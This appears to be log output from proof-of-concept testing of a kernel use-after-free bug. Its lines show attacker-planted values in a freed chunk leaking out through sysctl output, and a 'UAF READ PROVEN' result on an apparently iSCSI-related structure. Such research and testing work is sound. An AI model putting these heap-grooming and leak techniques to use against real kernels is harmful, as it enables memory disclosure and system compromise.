=== S3 leak samples (planted freed-chunk values surfacing in the sysctl output) ===
run 1 (baseline kernel #2/#3-era battery):
  DF2462[S3] handler exported from FREED chunk: 'recv=111 sent=222 flags=0x54545454 pdus-alloc=0 pdus-max=0 cws=1701143909 cmd=66666666 exp=67676767 max=68686868 stat=69696969 itt=6a6a6a6a' (error=0)
run 2 (final baseline battery, kernel #4):
  DF2462[S3] handler exported from FREED chunk: 'recv=111 sent=222 flags=0x50505050 pdus-alloc=0 pdus-max=0 cws=1701143909 cmd=66666666 exp=67676767 max=68686868 stat=69696969 itt=6a6a6a6a' (error=0)

=== S2 UAF-read samples (attacker value 0x51515151 read out of the freed chunk) ===
  DF2462[S2] *** UAF READ PROVEN: victim read sp->opt.maxluns=0x51515151 out of the FREED chunk -> cpi.max_lun=0x51515150 ***
  DF2462[S2] *** UAF READ PROVEN: victim read sp->opt.maxluns=0x51515151 out of the FREED chunk -> cpi.max_lun=0x51515150 ***